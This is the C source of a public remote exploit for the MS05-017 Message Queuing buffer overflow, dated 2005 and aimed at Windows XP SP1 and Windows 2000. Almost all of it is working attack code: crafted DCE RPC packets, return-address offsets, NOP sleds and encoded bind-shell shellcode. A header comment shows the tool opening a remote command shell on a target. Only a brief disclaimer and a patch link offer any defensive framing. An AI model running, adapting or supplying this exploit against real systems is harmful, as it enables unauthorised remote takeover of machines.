Microsoft Message Queuing Remote Overflow Universal Exploit (MS05-017)/* HOD-ms05017-msmq-expl.c: 2005-06-28: PUBLIC v.0.3
*
* Copyright (c) 2004-2005 houseofdabus.
*
* (MS05-017) Message Queuing Buffer Overflow Vulnerability
* Universal Exploit
*
*
*
* .::[ houseofdabus ]::.
*
*
*
* [ http://www.livejournal.com/users/houseofdabus
* ---------------------------------------------------------------------
* Systems Affected:
* - Windows XP SP1
* - Windows 2000 SP4
* - Windows 2000 SP3
*
* ---------------------------------------------------------------------
* Description:
* A remote code execution vulnerability exists in Message Queuing
* that could allow an attacker who successfully exploited this
* vulnerability to take complete control of the affected system.
*
* ---------------------------------------------------------------------
* Solution:
* http://www.microsoft.com/technet/security/Bulletin/MS05-017.mspx
*
* ---------------------------------------------------------------------
* Tested on:
* - Windows XP SP1
* - Windows XP SP0
* - Windows 2000 PRO SP4
* - Windows 2000 PRO SP3
* - Windows 2000 Server SP4
* - Windows 2000 AdvServer SP4
*
* ---------------------------------------------------------------------
* Compile:
*
* Win32/VC++ : cl -o HOD-ms05017-msmq-expl HOD-ms05017-msmq-expl.c
* Win32/cygwin: gcc -o HOD-ms05017-msmq-expl HOD-ms05017-msmq-expl.c
* Linux : gcc -o HOD-ms05017-msmq-expl HOD-ms05017-msmq-expl.c
*
* ---------------------------------------------------------------------
* Example:
*
* C:\>HOD-ms05017-msmq-expl 192.168.0.1 2103 HOD 7777
*
* [*] Connecting to 192.168.0.22:2103 ... OK
* [*] Attacking...OK
*
* C:\>telnet 192.168.0.1 7777
*
* Microsoft Windows 2000 [Version 5.00.2195]
* (C) Copyright 1985-2000 Microsoft Corp.
*
* C:\WINNT\system32>net stop msmq
*
* The Message Queuing service was stopped successfully.
*
* C:\WINNT\system32>net start msmq
* The Message Queuing service is starting..
* The Message Queuing service was started successfully.
*
* C:\WINNT\system32>
*
* For some system (Windows 2000 Server/AdvServer):
*
* C:\>HOD-ms05017-msmq-expl.exe 192.168.0.1 2103 HOD 9999 8
*
* [*] Connecting to 192.168.0.210:2103 ... OK
* [*] Attacking...........OK
*
* C:\>telnet 192.168.0.1 9999
*
* Microsoft Windows 2000 [Version 5.00.2195]
* (C) Copyright 1985-2000 Microsoft Corp.
*
*
* ---------------------------------------------------------------------
*
* This is provided as proof-of-concept code only for educational
* purposes and testing by authorized individuals with permission
* to do so.
*
*/
/* #define _WIN32 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef _WIN32
#include <winsock2.h>
#pragma comment(lib, "ws2_32")
#pragma pack(1)
#else
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#endif
#define NOP 0x90
#define _DCE_RPC_BIND 0x0B
typedef struct dce_rpc {
unsigned char ver;
unsigned char ver_minor;
unsigned char pkt_type;
unsigned char pkt_flags;
unsigned long data_repres;
unsigned short frag_len;
unsigned short auth_len;
unsigned long caller_id;
} DCE_RPC, *PDCE_RPC;
typedef struct dce_rpc_bind {
unsigned short max_xmit;
unsigned short max_recv;
unsigned long asc_group;
unsigned long num_con_items;
unsigned short con_id;
unsigned short num_trn_items;
/* unsigned char *interface_uuid; */
/* unsigned short interface_ver; */
/* unsigned short interface_ver_min; */
/* unsigned char *uuid; */
/* unsigned long syntax_ver; */
} DCE_RPC_BIND, *PDCE_RPC_BIND;
unsigned char dce_rpc_header1[] =
"\x05\x00\x00\x01\x10\x00\x00\x00\x18\x04\x00\x00\x00\x00\x00\x00"
"\x00\x04\x00\x00\x00\x00\x09\x00\x01\x00\x00\x00\x01\x00\x00\x00"
"\x01\x00\x00\x00\x03\x00\x00\x00\x03\x00\x00\x00\x02\x00\x00\x00"
"\xE4\x07\x00\x00\x00\x00\x00\x00\xE4\x07\x00\x00"
"\x4F\x00\x53\x00\x3A\x00";
/* ... Remote NetBIOS name */
unsigned char tag_private[] =
/* \PRIVATE$\ */
"\x5C\x00"
"\x50\x00\x52\x00\x49\x00\x56\x00\x41\x00\x54\x00\x45\x00\x24\x00"
"\x5C\x00";
unsigned char dce_rpc_header2[] =
"\x05\x00\x00\x00\x10\x00\x00\x00\x18\x04\x00\x00\x00\x00\x00\x00"
"\x00\x04\x00\x00\x00\x00\x09\x00";
unsigned char dce_rpc_header3[] =
"\x05\x00\x00\x02\x10\x00\x00\x00\x04\x04\x00\x00\x00\x00\x00\x00"
"\xEC\x03\x00\x00\x00\x00\x09\x00";
unsigned char offsets[] =
/* entry point (jmp over) */
"\xEB\x08\x90\x90"
/* for Windows 2000 */
/* mqsvc.exe - pop reg; pop reg; retn; */
"\xE9\x14\x40\x00"
"\x90\x90\x90\x90\x90\x90\x90\x90"
/* entry point (jmp over) */
"\xEB\x08\x90\x90"
/* for Windows 2000 Server/AdvServer */
/* mqsvc.exe - pop reg; pop reg; retn; */
"\xE9\x14\x40\x00"
"\x90\x90\xEB\x1A\x41\x40\x68\x6F\x75\x73\x65\x6F\x66\x64\x61\x62"
"\x75\x73\x48\x41"
/* entry point (jmp over) */
"\xEB\x06\x90\x90"
/* for Windows XP */
/* mqsvc.exe - pop reg; pop reg; retn; */
"\x4d\x12\x00\x01"
"\x90\x90\x90\x90\x90\x90";
unsigned char bind_shellcode[] =
"\x29\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x19"
"\xf5\x04\x37\x83\xeb\xfc\xe2\xf4\xe5\x9f\xef\x7a\xf1\x0c\xfb\xc8"
"\xe6\x95\x8f\x5b\x3d\xd1\x8f\x72\x25\x7e\x78\x32\x61\xf4\xeb\xbc"
"\x56\xed\x8f\x68\x39\xf4\xef\x7e\x92\xc1\x8f\x36\xf7\xc4\xc4\xae"
"\xb5\x71\xc4\x43\x1e\x34\xce\x3a\x18\x37\xef\xc3\x22\xa1\x20\x1f"
"\x6c\x10\x8f\x68\x3d\xf4\xef\x51\x92\xf9\x4f\xbc\x46\xe9\x05\xdc"
"\x1a\xd9\x8f\xbe\x75\xd1\x18\x56\xda\xc4\xdf\x53\x92\xb6\x34\xbc"
"\x59\xf9\x8f\x47\x05\x58\x8f\x77\x11\xab\x6c\xb9\x57\xfb\xe8\x67"
"\xe6\x23\x62\x64\x7f\x9d\x37\x05\x71\x82\x77\x05\x46\xa1\xfb\xe7"
"\x71\x3e\xe9\xcb\x22\xa5\xfb\xe1\x46\x7c\xe1\x51\x98\x18\x0c\x35"
"\x4c\x9f\x06\xc8\xc9\x9d\xdd\x3e\xec\x58\x53\xc8\xcf\xa6\x57\x64"
"\x4a\xa6\x47\x64\x5a\xa6\xfb\xe7\x7f\x9d\x1a\x55\x7f\xa6\x8d\xd6"
"\x8c\x9d\xa0\x2d\x69\x32\x53\xc8\xcf\x9f\x14\x66\x4c\x0a\xd4\x5f"
"\xbd\x58\x2a\xde\x4e\x0a\xd2\x64\x4c\x0a\xd4\x5f\xfc\xbc\x82\x7e"
"\x4e\x0a\xd2\x67\x4d\xa1\x51\xc8\xc9\x66\x6c\xd0\x60\x33\x7d\x60"
"\xe6\x23\x51\xc8\xc9\x93\x6e\x53\x7f\x9d\x67\x5a\x90\x10\x6e\x67"
"\x40\xdc\xc8\xbe\xfe\x9f\x40\xbe\xfb\xc4\xc4\xc4\xb3\x0b\x46\x1a"
"\xe7\xb7\x28\xa4\x94\x8f\x3c\x9c\xb2\x5e\x6c\x45\xe7\x46\x12\xc8"
"\x6c\xb1\xfb\xe1\x42\xa2\x56\x66\x48\xa4\x6e\x36\x48\xa4\x51\x66"
"\xe6\x25\x6c\x9a\xc0\xf0\xca\x64\xe6\x23\x6e\xc8\xe6\xc2\xfb\xe7"
"\x92\xa2\xf8\xb4\xdd\x91\xfb\xe1\x4b\x0a\xd4\x5f\xf6\x3b\xe4\x57"
"\x4a\x0a\xd2\xc8\xc9\xf5\x04\x37";
#define SET_PORTBIND_PORT(buf, port) \
*(unsigned short *)(((buf)+186)) = (port)
int
hex2raw(unsigned char *s, unsigned char *out)
{
unsigned long i, len, j = 0;
unsigned long ret = 0;
len = strlen(s);
for (i = 0; i < len; i+=2) {
if ((s[i] >= 0x30) && (s[i] <= 0x39))
j = s[i] - 0x30;
else
j = s[i] - 0x61 + 10;
j *= 16;
if ((s[i+1] >= 0x30) && (s[i+1] <= 0x39))
j += s[i+1] - 0x30;
else
j += s[i+1] - 0x61 + 10;
out[ret] = (unsigned char)j;
ret++;
}
return ret;
}
void
inverse(unsigned char *io, unsigned long len)
{
unsigned long i;
unsigned char c;
for (i = 0; i < len/2; i++) {
c = io[len-i-1];
io[len-i-1] = io[i];
io[i] = c;
}
}
int
encode_uuid(unsigned char *uuid, unsigned char *out)
{
unsigned long i, len, ret;
unsigned cnt = 0, ar = 0;
unsigned char *ptr;
ptr = uuid;
len = strlen(uuid);
for (i = 0; i < len; i++) {
if (uuid[i] == '-') {
uuid[i] = '\0';
if (ar < 3) {
ret = hex2raw(ptr, out);
inverse(out, ret);
out += ret; cnt += ret;
}
else {
ret = hex2raw(ptr, out);
out += ret; cnt += ret;
}
ptr = uuid+i+1;
ar++;
}
}
out[len] = '\0';
ret = hex2raw(ptr, out);
out += ret; cnt += ret;
return cnt;
}
unsigned char *
dce_rpc_bind(
unsigned long cid,
unsigned char *uuid,
unsigned short ver,
unsigned long *pkt_len)
{
unsigned char vuid[] = "8a885d04-1ceb-11c9-9fe8-08002b104860";
unsigned char *pkt, *euuid, *tmp;
unsigned long cnt;
unsigned short ret;
PDCE_RPC_BIND rpc_bind;
PDCE_RPC rpc;
pkt = (unsigned char *)calloc(2048, 1);
euuid = (unsigned char *)calloc(strlen(uuid)/2+2, 1);
tmp = pkt;
pkt += sizeof(DCE_RPC);
rpc_bind = (PDCE_RPC_BIND)pkt;
rpc_bind->max_xmit = 0x16D0;
rpc_bind->max_recv = 0x16D0;
rpc_bind->asc_group = 0;
rpc_bind->num_con_items = 1;
rpc_bind->con_id = 0;
rpc_bind->num_trn_items = 1;
pkt += sizeof(DCE_RPC_BIND);
cnt = encode_uuid(uuid, pkt);
pkt += cnt;
memcpy(pkt, &ver, sizeof(short));
pkt += sizeof(short);
*pkt++ = 0; *pkt++ = 0;
cnt = encode_uuid(vuid, pkt);
pkt += cnt;
*pkt++ = 2; *pkt++ = 0;
ret = pkt - tmp;
rpc = (PDCE_RPC)tmp;
rpc->ver = 5;
rpc->ver_minor = 0;
rpc->pkt_type = _DCE_RPC_BIND;
rpc->pkt_flags = 3;
rpc->data_repres = 16;
rpc->frag_len = ret + 2;
rpc->auth_len = 0;
rpc->caller_id = cid;
*pkt_len = ret + 2;
free(euuid);
return tmp;
}
void
convert_name(char *out, char *name)
{
unsigned long len;
len = strlen(name);
out += len * 2 - 1;
while (len--) {
*out-- = '\x00';
*out-- = name[len];
}
}
int
main (int argc, char **argv)
{
unsigned char endp[] = "fdb3a030-065f-11d1-bb9b-00a024ea5525";
unsigned char *packet = NULL;
unsigned short bindport;
unsigned long cnt;
struct sockaddr_in addr;
struct hostent *he;
int len, cpkt = 1;
int sockfd;
char recvbuf[4096];
char *buff, *ptr;
#ifdef _WIN32
WSADATA wsa;
#endif
printf("\n (MS05-017) Message Queuing Buffer Overflow Vulnerability\n\n");
printf("\t Copyright (c) 2004-2005 .: houseofdabus :.\n\n\n");
if (argc < 5) {
printf("%s <host> <port> <netbios name> <bind port> [count]\n", argv[0]);
printf("\nMSMQ ports: 2103, 2105, 2107\n");
printf("count - number of packets. for Win2k Server/AdvServer = 6-8\n\n");
exit(0);
}
#ifdef _WIN32
WSAStartup(MAKEWORD(2,0), &wsa);
#endif
if ((he = gethostbyname(argv[1])) == NULL) {
printf("[-] Unable to resolve %s\n", argv[1]);
return 0;
}
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
printf("[-] create socket failed\n");
exit(0);
}
addr.sin_family = AF_INET;
addr.sin_port = htons((short)atoi(argv[2]));
addr.sin_addr = *((struct in_addr *)he->h_addr);
memset(&(addr.sin_zero), '\0', 8);
printf("\n[*] Connecting to %s:%u ... ", argv[1], atoi(argv[2]));
if (connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) {
printf("\n[-] connect failed!\n");
exit(0);
}
printf("OK\n");
packet = dce_rpc_bind(0, endp, 1, &cnt);
if (send(sockfd, packet, cnt, 0) == -1) {
printf("[-] send failed\n");
exit(0);
}
len = recv(sockfd, recvbuf, 4096, 0);
if (len <= 0) {
printf("[-] recv failed\n");
exit(0);
}
free(packet);
printf("[*] Attacking...");
buff = (char *) malloc(4172);
memset(buff, NOP, 4172);
ptr = buff;
memcpy(ptr, dce_rpc_header1, sizeof(dce_rpc_header1)-1);
ptr += sizeof(dce_rpc_header1)-1;
// Remote NetBIOS name
convert_name(ptr, argv[3]);
ptr += strlen(argv[3])*2;
memcpy(ptr, tag_private, sizeof(tag_private)-1);
ptr += sizeof(tag_private)-1;
memcpy(buff+1048, dce_rpc_header2, sizeof(dce_rpc_header2)-1);
memcpy(buff+1048*2, dce_rpc_header2, sizeof(dce_rpc_header2)-1);
memcpy(buff+1048*3, dce_rpc_header3, sizeof(dce_rpc_header3)-1);
// offsets
ptr = buff;
ptr += 438;
memcpy(ptr, offsets, sizeof(offsets)-1);
ptr += sizeof(offsets)-1;
// shellcode
bindport = (unsigned short)atoi(argv[4]);
bindport ^= 0x0437;
SET_PORTBIND_PORT(bind_shellcode, htons(bindport));
memcpy(ptr, bind_shellcode, sizeof(bind_shellcode)-1);
buff[4170] = '\0';
buff[4171] = '\0';
if (argc == 6) cpkt = atoi(argv[5]);
while (cpkt--) {
printf(".");
if (send(sockfd, buff, 4172, 0) == -1) {
printf("\n[-] send failed\n");
exit(0);
}
}
printf(" OK\n");
return 0;
}